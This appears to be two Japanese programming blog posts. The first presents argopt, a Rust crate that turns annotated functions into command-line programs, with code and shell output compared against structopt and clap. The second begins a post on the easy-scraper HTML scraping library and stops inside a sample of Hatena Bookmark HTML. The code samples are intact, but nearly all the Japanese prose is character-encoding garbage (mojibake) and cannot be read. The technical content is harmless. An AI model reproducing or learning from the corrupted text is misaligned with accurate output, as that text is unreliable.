argopt: Ruståãã®å®£è¨çãªã³ãã³ãã©ã¤ã³å¼æ°ãã¼ã¶ã¼
TL;DR
ç°¡æ½ã§ç´æçã«æ±ããã宣è¨çãªRuståãã®ã³ãã³ãã©ã¤ã³å¼æ°ãã¼ã¶ã¼ãä½ãã¾ããã
https://crates.io/crates/argopt
ã¢ããã¼ã·ã§ã³
Rustã«structoptã¨ããã©ã¤ãã©ãªãããã¾ããããã¯ã³ãã³ãã©ã¤ã³å¼æ°ããã¼ãºããã©ã¤ãã©ãªãªãã§ãããåã¯ãã®ã©ã¤ãã©ãªã大好ããªãã§ããRustã®ã©ã¤ãã©ãªã®ä¸ã§ä¸äºãäºãã»ã©å¥½ãã§ãããªããªãã³ãã³ãã©ã¤ã³ãã¼ã«ãRustãæ¸ãçç±ã®å¤§é¨åããã®ã©ã¤ãã©ãªã®åå¨ã¨ãã£ã¦ãéè¨ã§ã¯ãªãããããã¾ããï¼éè¨ã§ããã©ï¼ã
ãããstructoptã使ãç¶ãã¦ããã¨ãã©ãã«ããã£ã¨ä¾¿å©ã«ã§ããããããªãã®ãã¨æãé¨åãåºã¦ãã¾ããstructoptã§ã¯ååã®éãã³ãã³ãã©ã¤ã³å¼æ°ãstruct
ã§å®ç¾©ãã¦ãããã«#[derive(StructOpt)]
ã¨StructOptãderiveãããã¨ã§ãã¼ã¶ã¼ã®ã³ã¼ããèªåçæãã¾ãã
ä¾ã¨ãã¦ãã¡ãã»ã¼ã¸ãæå®ããåæ°è¡¨ç¤ºããã ãã®åç´ãªããã°ã©ã ãèãã¦ã¿ã¾ããã¡ãã»ã¼ã¸ã¯ãªãã·ã§ã³ã§å¤ããããããã«ãã¾ãã
/// Simple print program #[derive(StructOpt)] struct Opt { /// message to print #[structopt(short, long, default_value = "Hello")] message: String, /// number of repetitions num: usize, } fn main() { let opt = Opt::from_args(); for _ in 0..opt.num { println!("{}", opt.message); } }
ã³ãã³ãã©ã¤ã³ãªãã·ã§ã³ã Opt
ã¨ããæ§é ä½ã®ã¡ã³ãã¼ã«ã¾ã¨ãã¦ã#[derive(StrucOpt)]
ããã®æ§é ä½ã«ä»ãã¦ãã£ã¦ã³ãã³ãã©ã¤ã³ãããã¼ãºã§ããããã«ãã¦ããã¾ãããã«ãã«åºã説æã¯ãæ§é ä½ãã¡ã³ãã¼ã®docã³ã¡ã³ãã«æ¸ãã¨ããã使ã£ã¦ããã¾ããOpt::from_args()
ã§ã³ãã³ãã©ã¤ã³å¼æ°ã解æããã¦ã--help
ã¨ãã®ã±ã¼ã¹ãèªåã§ãã³ããªã³ã°ãã¦ããã¦ã欲ãããã©ã¡ã¼ã¿ã¼ã®å¤ã ãããããã¾ãã
å®è¡ãã¦ã¿ã¾ãã
$ cargo run error: The following required arguments were not provided: <num> USAGE: structopt-test <num> --message <message> For more information try --help $ cargo run -- --help structopt-test 0.1.0 Simple print program USAGE: structopt [OPTIONS] <num> FLAGS: -h, --help Prints help information -V, --version Prints version information OPTIONS: -m, --message <message> message to print [default: Hello] ARGS: <num> number of repetitions $ cargo run -- 3 Hello Hello Hello $ cargo run -- --message hoge 2 hoge hoge
ããã ãã§ããã¾ã§è³ããå°½ããããã£ã¦ããã¾ãã使ãæ¹ãç´æçã§è¦ããããã使ãéã«èª¿ã¹ããã¨ãå°ãªãã¦ãå®éã¨ã¦ã便å©ã§ãã
structoptã¯ããã¯ã¨ã³ãã¨ãã¦clapã¨ããã©ã¤ãã©ãªã使ã£ã¦ãã¾ãããç´æ¥clapã使ãã®ã¨æ¯ã¹ã¦ãã ãã¶æ¥½ã§ãã
å®éã«clapã§ãæ¸ãã¦ã¿ã¾ããã
use clap::{App, Arg}; fn main() { let matches = App::new("clap-test") .version("0.1.0") .about("Simple print program") .arg( Arg::with_name("message") .short("m") .long("message") .default_value("Hello") .help("message to print"), ) .arg( Arg::with_name("num") .required(true) .help("number of repetitions"), ) .get_matches(); let message = matches.value_of("message").unwrap(); let num = matches.value_of("num").unwrap().parse::<usize>().unwrap(); for _ in 0..num { println!("{}", message); } }
ãããã®éããããªãã«ããã©ãããã§ãï¼ããããã®ã³ã¼ãã§ã¯numã«æ°ãããªããã®ã渡ãããã¨ãã®ã¡ãã»ã¼ã¸ãä¸è¦ªå極ã¾ããªãã§ãï¼ã
clapèªä½ã¯å¤§å¤å¼·åã§å¤æ©è½ãªã©ã¤ãã©ãªã§ããããã¯ããé§ä½¿ãã¦ãããããªã¿ã¤ãã®ã©ã¤ãã©ãªã§ã¯ãªãã¦ãæ®éã®ï¼ï¼ï¼ãªãã¸ã§ã¯ããçµã¿ç«ã¦ã¦ããã¿ã¤ãã®ãã®ã§ãï¼ããç¨åº¦ç°¡æ½ã«æ¸ããããã«ããããã®ãã¯ãã¯ç¨æããã¦ããããã¾ããï¼ããªã®ã§ãRustã®structã®æ§é ãçããã¦ç´æçã«ãããã®æ©è½ãã³ãã³ãã©ã¤ã³å¼æ°ã®è¨è¿°ã«ãããã³ã°ãã¦ããstructoptã¨æ¯ã¹ãã¨ã©ããã¦ãç´æçãªèªã¿æ¸ãã®ããããã§åã°ãªãé¨åãããã¾ããã¾ããããã§ãªããã°structoptã®åå¨æ義ãããã¾ãããã
ãã¦ãã³ãã³ãã©ã¤ã³ã¯ãªã¯ã³ã³ã ã¨ã¨ãããç¶ãã¦æ°åå¹´ããããæ¨ä»ã®CUIã®ããã°ã©ã ã¯ã©ãã©ããªããã«ä½¿ãããããªã£ã¦ãã¦ãããããªæ°ãããã¾ãããã®ä¸å ã¨ãã¦ããµãã³ãã³ããå å®ããããã°ã©ã ãå¢ãã¦ãã¦ãããã¨ãããããã«æãã¾ãããããä»ã©ãã®CUIãã¼ã«ã¯ããµãã³ãã³ããªãã«ã¯æãç«ããªãã¨ãã£ã¦ãéè¨ã§ã¯ãªãããããã¾ããã
å ã»ã©ã®ãã¼ã«ãã¡ãã»ã¼ã¸è¡¨ç¤ºã ãã§ã¯ãªããªã®ã§ãèªè¨¼æ©è½ï¼ä½ã®ï¼ï¼ãæ°ãã«è¿½å ããããªã£ã¦ãã¾ããã
ãµãã³ãã³ãã追å ããããã«ãã¾ãã¡ãã»ã¼ã¸è¡¨ç¤ºã³ãã³ããprint
ã¨ããé¢æ°ã«æ¬ãã ãã¾ãã
/// Printing command #[derive(StructOpt)] struct PrintOpt { /// message to print #[structopt(short, long, default_value = "Hello")] message: String, /// number of repetitions num: usize, } fn print(opt: PrintOpt) { for _ in 0..opt.num { println!("{}", opt.message); } }
次ã«ãèªè¨¼ã³ãã³ããå®è£ ãã¾ãï¼å®éã«ã¯ä½ããã¾ãããï¼ã
/// Authentication command #[derive(StructOpt)] struct AuthOpt { user: String, password: String, } fn auth(opt: AuthOpt) { println!("Access denied"); }
æå¾ã«ãã³ãã³ãã©ã¤ã³ã解æãã¦ç¶ãã¹ãé¢æ°ããã£ã¹ãããããã³ã¼ããæ¸ãã¾ãã
/// SUGOI program #[derive(StructOpt)] enum Opt { Print(PrintOpt), Auth(AuthOpt), } fn main() { match Opt::from_args() { Opt::Print(opt) => print(opt), Opt::Auth(opt) => auth(opt), } }
enumã«ãµãã³ãã³ãä¸è¦§ãã¾ã¨ãã¦ãmain
é¢æ°ã§ãã¿ã¼ã³ããããã¦å¼æ°ãåãåºãã¾ããåãµãã³ãã³ãã®å¼æ°ãstructã«ã¾ã¨ããã«ãenumã«ã¤ã³ã©ã¤ã³ã«æ¸ããã¨ãã§ãã¾ãããåã³ãã³ãã«ä¾åããå
容ãmain
ã®è¿ãã«éã¾ã£ã¦ãã¾ãã®ã§ãåãµãã³ãã³ãã«ãªãã·ã§ã³ã追å ãããå¤æ´ãããããããªã£ãæã«ãã³ã¼ããå¤æ´ããç®æãå¢ãã¦ãã¾ãã®ã§ããã¾ããã£ããããªãã®ã§ã¯ãªããã¨æãã¾ãããã¿ã¼ã³ãããã®é¨åã§ãè¦ç´ ãå
¨é¨ã°ãããªãã¨ãããªããªãã®ã§ãstructã«ã¾ã¨ããå ´åã«æ¯ã¹ã¦åã«é¢åããããªãæ°ããã¾ãã
ã§ã¯ããã®ããã°ã©ã ãå®è¡ãã¦ã¿ã¾ãã
$ cargo run SUGOI program USAGE: structopt <SUBCOMMAND> FLAGS: -h, --help Prints help information -V, --version Prints version information SUBCOMMANDS: auth Authentication command help Prints this message or the help of the given subcommand(s) print Printing command $ cargo run -- print 1 Hello $ cargo run -- auth user p4ssw0rd Access denied
ã¡ããã¨2ã¤ã®ãµãã³ãã³ããã§ãã¾ããã
ãã®ä½æ¥ã¯ååã·ã³ãã«ã§ããä½æ¥éãå°ãªãæ°ããã¾ãããããã§ããã¤ã©ã¼ãã¬ã¼ãã¨ããããæ©æ¢°çãªã³ã¼ãã®ç¹°ãè¿ããæ°ã«ãªãã¾ãããã®ããã°ã©ã ã«ãããä¸ã¤å¥ã®ãµãã³ãã³ãã追å ãããã¨ãèãã¦ã¿ãã¨ã
- æ°ããã³ãã³ãã«å¯¾ãããªãã·ã§ã³ãstructã¨ãã¦å®ç¾©ãã
- ãããå¼æ°ã«åãé¢æ°ãå®ç¾©ãã
- mainã®enumã«æ°ããã³ãã³ãã®structã«å¯¾ããã³ã³ã¹ãã©ã¯ã¿ã追å ãã
- ãã£ã¹ãããã£ã«ã³ã¼ãã追å ãã
ãã®ãããªã¹ããããè¸ããã¨ã«ãªãã¾ããç¹ã«å¾è ã®2ã¤ããã©ããªã³ãã³ãã追å ããã®ãã«ä¾ããã«ãåã«åãä½æ¥ãè¡ããªããã°ãªããªãã®ã§ãªãã¨ãªãå«ãªé¢åèããæãã¦ãã¾ãã¾ãã
ããå°ãç«ã¡è¿ã£ã¦èãã¦ã¿ãã¨ãããããã®è©±structã®æ§é ãç¨ãã¦ç´æçãªè¨æ³ã§clapã®ã³ã¼ããèªåçã«çæãããã¨ããã®ãstructoptã®ã³ã³ã»ããã ã¨æãã®ã§ãããæçµçã«ãããããã¨ã¯ã³ãã³ãã©ã¤ã³ãªãã·ã§ã³ã®è§£æãªã®ã§ãã£ã¦ãå¥ã«structãenumãå®ç¾©ãããããã§ããªãã®ã§ãã
ãã£ã¨å¥ã®ã¢ããã¼ãããã£ã¦ãããããããªãã®ãï¼ããèãã¦ã³ã¼ããããããããã£ã¦ãããªããããã£ã½ãå½¢ã®ãã®ãã§ããã・・・ã¨ããã®ãä»åã®ã©ã¤ãã©ãªã«ãªãã¾ããã¾ã ãããªã«ãã£ããæ¥ã¦ããªãé¨åã¨ããã¾ãã¡ã¹ãããªãã¦ãªãé¨åããã£ãããããã®ã§ããã£ã¨ããããã¨ãããã¨ãã£ããããªãæè¦ããããã¾ããããã²ã¨ããç¥ãããã ããã
ã¢ã¤ãã¢
çããã¯ä½ãã¾ã¨ã¾ã£ãæ©è½ãæã¤ã³ã¼ããæ¸ãã¨ããã©ããã¾ããï¼ã©ããã¾ãããã¨ãã£ã¦ããªãã§ããã©ãã¾ãæ®éã¯é¢æ°ãæ¸ãã¨æãã¾ããé¢æ°ã®æåããã©ã¡ã¼ã¿ã¼ã«ãã£ã¦å¶å¾¡ãããå ´åãæ®éã¯ã©ãããã§ããããï¼å¼æ°ã§å¤ã渡ãã¦ããã¯ãã§ããè¦ããã«ä½ããã®ã³ãã³ãã©ã¤ã³ããã°ã©ã ã£ã¦ãã®ã¯ã大æµã¯èªç¶ã«é¢æ°ã¨ãã¦è¡¨ç¾ã§ãããã®ã«ãªãã¯ããªã®ã§ããä»æ´è¨ãã¾ã§ããªããã¨ããããã¾ããããé¢æ°ã¨ããã®ã¯Rustã«ããã¦ãã¨ããããç¾ä»£ã®ã»ã¨ãã©ãã¹ã¦ã®ããã°ã©ãã³ã°è¨èªã«ããã¦æãä¸è¬çã§æ±ããããã誰ããå½ããåã®ããã«ä½¿ã£ã¦ããã³ã¼ãã®æ½è±¡åæ段ã¨ããããã§ãã
ä¾ãã°ãå
ã»ã©ã®ã¡ãã»ã¼ã¸è¡¨ç¤ºããã°ã©ã print
ã®å ´åã ã¨ãã¨ã¦ã¤ããªãèªæã«
fn print(message: String, num: usize) { for _ in 0..num { println!("{}", message); } }
ããããé¢æ°ã¨ãã¦è¨è¿°ã§ãã¾ããããããã®é¢æ°ããã§ã«ã³ãã³ãã©ã¤ã³ããã°ã©ã ã¨ãã¦å¿ è¦ãªæ å ±ãå«ãã§ããããããªãã®ãããã®é¢æ°ãç´æ¥çã«ã³ãã³ãã©ã¤ã³ããã°ã©ã ã¸ã¨å¤æãããã¨ãå¯è½ãªããããªãã®ãï¼ã¨ããã®ãæ¬ã©ã¤ãã©ãªã®ã¡ã¤ã³ã®ã¢ã¤ãã¢ã§ãã
ç°¡åãªä¾
ã¾ãç°¡åãªä¾ããå§ãã¾ããå
ã»ã©ã®print
é¢æ°ãã³ãã³ãã©ã¤ã³ããã°ã©ã ã«å¤æãã¾ãã
#[argopt::cmd]
ãé¢æ°ã«ä»ããã¨ãé¢æ°ãã³ãã³ãã©ã¤ã³ããã°ã©ã åããã¾ãã
#[argopt::cmd] fn print(message: String, num: usize) { for _ in 0..num { println!("{}", message); } } fn main() { print() }
ããã main
ããå¼ã³åºãã¦ããã°å®æã§ãããããã¯ãã³ãã³ãèªä½ãmain
ã«ãã¦ãããã§ãããã
#[argopt::cmd] fn main(message: String, num: usize) { for _ in 0..num { println!("{}", message); } }
å®è¡ãã¦ã¿ã¾ãã
$ cargo run error: The following required arguments were not provided: <message> <num> USAGE: argopt-test <message> <num> For more information try --help $ cargo run -- hoge 3 hoge hoge hoge
ããã©ã«ãã§ã¯é¢æ°ã®å¼æ°ã¯åã«ããã°ã©ã ã®å¼æ°ã«ãªãã®ã§ãå®è¡ããã«ã¯äºã¤ã¨ãå¼æ°ã渡ãã¦ããå¿
è¦ãããã¾ããå
ã»ã©ã®ããã°ã©ã ã¨åãããã«ãã¡ãã»ã¼ã¸ããªãã·ã§ã³ã«ãã¦ãæå®ããªãã¨ãã¯ããã©ã«ãã§"Hello"ã«ãªãããã«ãã¦ã¿ã¾ããå¼æ°ã®æåãå¤ããã«ã¯ã#[opt(...)]
ãæå®ãããå¼æ°ã«ä»ãã¦ããã¾ããããã§æå®ã§ãããªãã·ã§ã³ã¯structoptã®ãã®ã¨å¤§ä½åãã§ãã
#[argopt::cmd] fn main( #[opt(short, long, default_value = "Hello")] message: String, num: usize, ) { for _ in 0..num { println!("{}", message); } }
ãã©ã¡ã¼ã¿ã¼ã¨ãã³ãã³ãã®èª¬æããªãã¦å¯ããã®ã§ããã«ãã追å ãã¦ããã¾ãã
/// Printing command #[argopt::cmd] fn main( /// message to print #[opt(short, long, default_value = "Hello")] message: String, /// number of repetitions num: usize, ) { for _ in 0..num { println!("{}", message); } }
ããã§structoptã使ã£ããã®ã¨åãæåã®ãã®ãã§ãã¾ããã
$ cargo run -- --help argopt-test 0.1.0 Printing command USAGE: argopt-test [OPTIONS] <num> FLAGS: -h, --help Prints help information -V, --version Prints version information OPTIONS: -m, --message <message> message to print [default: Hello] ARGS: <num> number of repetitions $ cargo run -- 2 Hello Hello
æé ãã¾ã¨ããã¨ã
- ã³ãã³ãã«ãããå¦çãé¢æ°ã¨ãã¦æ¸ã
- ãã®é¢æ°ã«ã³ãã³ãã©ã¤ã³ããã°ã©ã åããå±æ§
#[cmd]
ãã¤ãã - å¼æ°ã«å±æ§ã追å ãã¦ãã¦æã¿ã®æåã«å¤ãã
- ãã«ããããã¥ã¡ã³ãã¨ãã¦æ¸ã
ã¨ãã風ã«ãåãªãé¢æ°ããã¤ã³ã¯ãªã¡ã³ã¿ã«ã«ã³ãã³ãã©ã¤ã³ããã°ã©ã ãæ§ç¯ã§ããããã«ãªã£ã¦ãã¾ããã¨ããããä»æ¸ãã¦ãããã°ã©ã ãã³ãã³ãã©ã¤ã³ããå¼æ°ãåãåããããã«å¤æ´ããããªããã¨ããå ´é¢ã¯å°ãªããªãã¨æãã®ã§ããããããªæã«ãã®ã©ã¤ãã©ãªã®ä½¿ãæ¹ã£ã¦ã©ãã ã£ãã£ãï¼ã¨ããå¿ççãªããªã¢ãªãã«ãåã«ä¸åå±æ§ãã¤ããã ãã§ã¨ããããã®ãã®ãå®æãã¾ããå¼æ°ã®ç´°ããæåãå¤æ´ããããªã£ãããããã¸ã¡ãã£ã¨ãã¤ã¢ããã¼ã·ã§ã³ã足ãã¦ããã°ãã«ã¹ããã¯ã®ã³ãã³ãã©ã¤ã³ããã°ã©ã ãå®æããã¨ããããã§ãã
ãµãã³ãã³ãã®ä¾
ãµãã³ãã³ããåæ§ã«ç´æ¥çã«å®ç¾©ã§ããããã«ãã¦ãã¾ããè¦ããã«ãµãã³ãã³ããæã¤ããã°ã©ã ã¨ã¯ããã ã®è¤æ°ã®é¢æ°ãå«ãããã°ã©ã ã§ãã
ã¾ãã¯å
ã»ã©ã¨åæ§ã«print
é¢æ°ãå®ç¾©ãã¾ãããµãã³ãã³ãã®å ´åã¯å±æ§ã¨ã㦠#[argopt::cmd]
ã§ã¯ãªã #[argopt::subcmd]
ãä»ãã¾ãã
/// Printing command #[argopt::subcmd] fn print( /// message to print #[opt(short, long, default_value = "Hello")] message: String, /// number of repetitions num: usize, ) { for _ in 0..num { println!("{}", message); } }
ããã¾ãåæ§ã«ãauth
é¢æ°ãå®ç¾©ãã¾ãã
#[argopt::subcmd] fn auth(user: String, password: String) { println!("Access denied"); }
æå¾ã«ããããã®ã³ãã³ãããã£ã¹ãããããã³ã¼ããæ¸ãã¾ãã#[argopt::cmd_group()]
ã«ãå®ç¾©ãããµãã³ãã³ãã®ä¸è¦§ã渡ãã¦ããã¾ãã
#[argopt::cmd_group(commands = [print, auth])] fn main() {}
ããã§å®æã§ããå®è¡ãã¦ã¿ã¾ãã
$ cargo run argopt-test 0.1.0 USAGE: simple <SUBCOMMAND> FLAGS: -h, --help Prints help information -V, --version Prints version information SUBCOMMANDS: auth Authentication command help Prints this message or the help of the given subcommand(s) print Printing command $ cargo run -- print --message hoge 3 hoge hoge hoge $ cargo run -- auth foo bar Access denied
ã¨ããããã§ãµãã³ãã³ããæã¤ããã°ã©ã ãå®æãã¾ãããããã«æ°ãããµãã³ãã³ãã追å ãããå ´åã¯ã
- æ°ããã³ãã³ãã®å¦çãé¢æ°ã¨ãã¦è¨è¿°ãã
- ãã£ã¹ãããã£ã¼ã«ãã®ã³ãã³ãã追å ãã
ã®2ã¹ããããè¡ããã¨ã«ãªãã¾ããæ¬è³ªçã«ã¯ãã®2ã¤ã®å·¥ç¨ãæ°ããã³ãã³ãã®ããã®å¦çãæ¸ããã¨ã¨ãããããã³ãã³ãã追å ããããã¨ããã£ã¹ãããã£ã¼ã«ç¥ããããã¨ã¯ããµãã³ãã³ãã追å ãããã¨ã«ããã¦ã¯ä¸å¯æ¬ ãªãã¨ã ã¨æãã¾ããããããå¯è½ãªéãéå±ãªã³ã¼ããæ¸ããããã¨ãªãã«ããã¦ããã¨æãã¾ãã
ãã®ä»ã®æ©è½
ã³ãã³ãã©ã¤ã³ããã°ã©ã ãæ¸ãä¸ã§å°å³ã«ããã©ãããverbose
ãã©ã°ã®å®è£
ã¨ããããæ©è½ãã¤ããããã¾ããã
use argopt::cmd; use log::*; #[cmd(verbose)] fn main() { error!("This is error"); warn!("This is warn"); info!("This is info"); debug!("This is debug"); trace!("This is trace"); }
ãããå®è¡ããã¨æ¬¡ã®ãããªæãã«ãªãã¾ãã
$ cargo run This is error $ cargo run -- -v This is error This is warn $ cargo run -- -vv This is error This is warn This is info $ cargo run -- -vvv This is error This is warn This is info This is debug $ cargo run -- -vvvv This is error This is warn This is info This is debug This is trace
#[cmd()]
ã«verbose
ã渡ãã¨log
ã¯ã¬ã¼ãã使ã£ã¦verbosityãèªåã§è¨å®ããããã§ãé©å½ãªãã¬ã¼ãä½ãã¾ããããã©ã«ãã§ã¯ãã æ¨æºåºåã«åºããã¬ã¼ã§ããlog
ã¯ã¬ã¼ãã«å¯¾å¿ãããã¬ã¼ã¯env_logger
ã¨ãããã¡ã¯ããªãã®ã¯ããããããã¾ãããè£
飾ãå¤ãã¦äººéãæä½ããã³ãã³ãã©ã¤ã³åãã¨ããããã¯ãµã¼ãã¼åããªå°è±¡ã§ããã verbosityãå¼æ°ããããã£ã¦è¡¨ç¤ºããæ
å ±ã®éãå¢ããããæ¸ãããããããç¨éã«ã¯åé·ããªã¨æã£ãã®ã§ããã¬ã¼ã³ãªãã¬ã¼ã§åºãããã«ãã¦ãã¾ãã
verboseãã©ã°ãèªåã§ä½ã£ã¦ããªãã·ã§ã³ããåãåºãã¦åé¢æ°ã«åãå»»ãã¦ã¨ããã£ã¦ãããã¨ãããã¾ããããã¾ãããã©ãããããã¨ããåé¡ãããã¾ãããããããããç¨ã®ä¾¿å©ã«ä½¿ããããªã¯ã¬ã¼ããæ¢ãããããã¾ããããçµå±ä½ã使ã£ãããããã ã¨ããã®ã¯æ¡å¤é£ãããå人çã«ããããã®ã§ãããã ãçãªãã®ãæ©è½ã¨ãã¦ã¤ãã¦ã¿ã¾ãããå人çãªææ³ãªã®ã§ãããããã®ã§ã¯ã ããªãã ãã£ã¦ãã¨ãããããããã¾ããã
ä»å¾ã®äºå®ãªã©
ãã®ã©ã¤ãã©ãªã¯ä½ããã¦ã§ãã¾ã ã¾ã æ©è½ãå°ãªãã§ãããã³ã³ã»ããã¨ãã¦ã¯ãããªãã«æ示ã§ããã®ã§ã¯ãªããã¨æãã¾ããèªåã§ä½¿ã£ã¦ã¿ã¦æ°ã«å ¥ããªãã¨ããã¨ã足ããªãæ©è½ã¨ããã¼ã¡ã¼ã¡å®è£ ãã¦ããäºå®ã§ããèå³ãæã£ã¦ä¸ãã£ãæ¹ãããã£ãããã¾ãããããã²ä½¿ã£ã¦ã¿ã¦ææ³ãªã©ãããã ããã¨å¤§å¤ããããã§ãã
使ãããããéè¦ããHTMLã¹ã¯ã¬ã¤ãã³ã°ã©ã¤ãã©ãªãä½ã£ã
TL:DR
ã¬ãã¸ã㪠https://github.com/tanakh/easy-scraper
èæ¯
ãã®ã¨ãã訳ãã£ã¦Rustã§HTMLãããã¼ã¿ãæ½åºããã³ã¼ããæ¸ãã¦ããã®ã§ããã æ¢åã®ã¹ã¯ã¬ã¤ãã³ã°ã©ã¤ãã©ãªãï¼å人çã«ã¯ï¼ã©ãããã¾ãã¡ä½¿ãããããªããªãã¨æã£ã¦ãã¾ããã
HTMLããæã¿ã®ãã¼ã¿ãåãåºãã®ã¯ããããããæ¹ããããã¨æãã¾ããã ããªã¼ãèªåã§ãã©ãã¼ã¹ããã®ã¯ãããã«ãã¾ãã«ãé¢åã§ãã è¿é 人æ°ã®ã©ã¤ãã©ãªãè¦ã¦ã¿ã¾ãã¨ãCSSã»ã¬ã¯ã¿ã¼ã§ç®çã®ãã¼ããé¸æãã¦ã ãã®å¨è¾ºã®ãã¼ãããã©ãã³ã¼ããæ¸ãã¦ã 欲ããæ å ±ãåãåºãã¨ããæãã®ãã®ãå¤ãããã§ãã
Rustã«ãHTMLã®DOMããªã¼ãCSSã»ã¬ã¯ã¿ã¼ã§æ¤ç´¢ãã¦è¦ã¤ãã£ããã¼ããã¤ãã¬ã¼ã¿ã¼ã§è¿ãã¦ããããããã scraperã¨ããã©ã¤ãã©ãªãããã¾ãã
ä¾ãã°ã<li>
è¦ç´ ãæ¤ç´¢ãããããªã³ã¼ãã ã¨æ¬¡ã®ããã«ãªãã¾ãã
use scraper::{Html, Selector}; let html = r#" <ul> <li>Foo</li> <li>Bar</li> <li>Baz</li> </ul> "#; let fragment = Html::parse_fragment(html); let selector = Selector::parse("li").unwrap(); for element in fragment.select(&selector) { assert_eq!("li", element.value().name()); }
ä¸è¦ããããããã³ã¼ãã ããã©ãã«ä¸æºããããã ï¼ã¨ããæ¹ãããã£ãããããããã¾ããã
å®æããã³ã¼ãã ãè¦ãã¨ç°¡åããã«è¦ãã¾ããããããæ¸ãã¦ã¿ããã¨ãªãã¨æ¡å¤é¢åã§ã
ã¾ãã¤ãã¬ã¼ã¿ã¼ãè¿ãã¦ãããã¼ãããã©ããã£ã¦æ
å ±ãå¼ãåºãã¦ããã®ãã¨ããã®ã調ã¹ãªãã¨ããã¾ããã
å®éã«ã¯ããã¥ã¡ã³ã㧠ElementRef::select()
ã®è¿ãå¤ã«ãªã£ã¦ãã Selector
åã調ã¹ã¦ã
ãããã¤ãã¬ã¼ã¿ã¼ãªãã ãããè¦ç´ ã¨ãã¦ä½ãè¿ãã Trait Implementationã®ã¨ãããã¿ã¦èª¿ã¹ãããããã ãªãã¨ãªã£ã¦ã
ããã§ãã® Iterator
ã¤ã³ã¹ã¿ã³ã¹ã®å®è£
ã®é¨åãè¦ã¦Item = ElementRef
ãªãã ãªã¨ããã®ãè¦ã¤ãã¦ã
ããã次㫠ElementRef
ããã¿ã°ã®æ
å ±ãåãåºãã«ã¯ä½ãå¼ã¹ã°ããã®ããªãã¨ãªãã®ã§ã
ã¾ã ElementRef
ã®ãªãã¡ã¬ã³ã¹ã«æ»ã£ã¦ã¡ã½ããã®ãªã¹ãã¨ã«ããã£ããã¦ã
ãã¼ã ElementRef::value()
ã«ããã£ã½ã説æãæ¸ãã¦ãããããããå¼ã¹ã°ããã®ããªï¼
ElementRef::value()
㯠Element
ãè¿ããããããããã¿ã°åãåãåºãã«ã¯ï½¥ï½¥ï½¥ã
ã¨ãä¸ã®ã³ã¼ããåºã¦ããã«ã¯ããããéç¨ãçµããã¨ã«ãªãããã§ãã
ããã§ä»åº¦ã¯åãããã£ã¦ãã¿ã°åãããªãã¦ã<li>
ãã¼ãã®ä¸ã®ããã¹ããåãåºãã«ã¯ã©ãããã°ããã®ããªã
ã¨ãªãã¨ãã¾ã ElementRef
ã®ããã¥ã¡ã³ããè¦è¿ãã¦ããµããµã ElementRef::text()
ãããã£ã½ããªã
ãããã¨ãããã使ã£ã¦ã¿ãããããæ£ãããããªã©ã¨ããã¹ããããè¸ããã¨ã«ãªãããã§ãã
ããããªããããããã£ã<li>
ã¿ã°ãããã¼ã¿ã®ãªã¹ããåãåºãã¨ãã<a href="...">...</a>
ããURLã®ãªã³ã¯ãåãåºãã¨ãã
ãããã£ã1ã¤ã®DOMãã¼ããããã¼ã¿ãå¼ã£å¼µã£ã¦ããã ãã®ã¿ã¹ã¯ã¯ãæ£ç´ããã¾ã§é¢åãªããã§ãããã¾ããã
ãã³ãã¤ã³ãã§ãããããCSSã»ã¬ã¯ã¿ã¼ãè¦ã¤ãã¦ãããã§DOMãæ¤ç´¢ãã¦ã
ãããããã¼ã¿ãæãåºãã¦ããã³ã¼ãããªãã¡ã¬ã³ã¹ãè¦ãªããæ¸ãã°è¯ãã ããªã®ã§ã
é¢åã«ãªã£ã¦ããã®ã¯ãè¤æ°ã®ãã¼ãã«ã¾ãããã²ã¨ã¾ã¨ã¾ãã®æ å ±ãåãåºããããªã£ãæã§ãã ã¨è¨ãã¾ãããWebãã¼ã¸ãããã¼ã¿ãåå¾ãããã±ã¼ã¹ã¨ããã®ã¯ããã¼ãã«ã®ãããªãã¼ã¨ã«ã©ã ã ã¤ã¾ãä½ããã®ã²ã¨ã¾ã¨ã¾ãã®æ§é ä½ã®ãã¼ã¿ã®ãªã¹ããåå¾ããããã¨ã®ã»ããããããæ®éã¯å¤ãããã§ãã
ä¾ã¨ãã¦ãããã¯ã¯ã¦ãªããã°ãªã®ã§ãã¯ã¦ãªããã¯ãã¼ã¯ã®ãããã¨ã³ããªãåå¾ããããã°ã©ã ãèãã¦ã¿ã¾ãã
ã¾ããããã¨ã¯ããã®ãã¼ã¸ãçºãã¦ãã©ããããã¼ã¿ãåãåºããããªãã¨èãããã¨ã§ãã ãã£ã¨è¦ãæãã
- ããã¯ãã¼ã¯æ°
- ãã¼ã¸ã®ã¿ã¤ãã«
- ãã¼ã¸ã®URL
- æ¥ä»
ããããåãåºãããã§ãã
次ã«HTMLã®ã½ã¼ã¹ãçºãã¦ã1ã¤ã®ã¨ã³ããªã«ç¸å½ããããªé¨åãè¦ã¤ãã¦ãã¾ãã
... <div class="entrylist-contents-main"> <h3 class="entrylist-contents-title"> <a href="https://internet.watch.impress.co.jp/docs/yajiuma/1234496.html" title="5å¹´ã«ããã£ã¦æ¾ç½®ã®æ«ã«â¦â¦ã¯ã¦ãçºã®ãæ¬æ°ã®ãRSSãªã¼ãã¼ãæ£å¼ã«éçºä¸æ¢ã表æããããã¾Watchã - INTERNET Watch" target="_blank" rel="noopener" class="js-keyboard-openable" data-gtm-click-label="entry-info-title">5å¹´ã«ããã£ã¦æ¾ç½®ã®æ«ã«â¦â¦ã¯ã¦ãçºã®ãæ¬æ°ã®ãRSSãªã¼ãã¼ã...</a> </h3> <span class="entrylist-contents-users"> <a href="/entry/s/internet.watch.impress.co.jp/docs/yajiuma/1234496.html" title="ãã¹ã¦ã®ããã¯ãã¼ã¯ãè¦ã" class="js-keyboard-entry-page-openable" data-gtm-click-label="entry-info-users"><span>391</span> users</a> </span> <div class="entrylist-contents-body"> <a href="/entry/s/internet.watch.impress.co.jp/docs/yajiuma/1234496.html" title="ãã¹ã¦ã®ããã¯ãã¼ã¯ãè¦ã"> <p class="entrylist-contents-description" data-gtm-click-label="entry-info-description-href"> </p> <p class="entrylist-contents-thumb"> <span style="background-image:url('https://cdn-ak-scissors.b.st-hatena.com/image/square/ac87668f76a1e166e3d223c0717bba427111632c/height=280;version=1;width=400/https%3A%2F%2Finternet.watch.impress.co.jp%2Fimg%2Fiw%2Flist%2F1234%2F496%2Fyajiuma-watch_4.png');" data-gtm-click-label="entry-info-thumbnail"></span> </p> </a> </div> <div class="entrylist-contents-detail"> <ul class="entrylist-contents-meta"> <li class="entrylist-contents-category"> <a href="/hotentry/it" 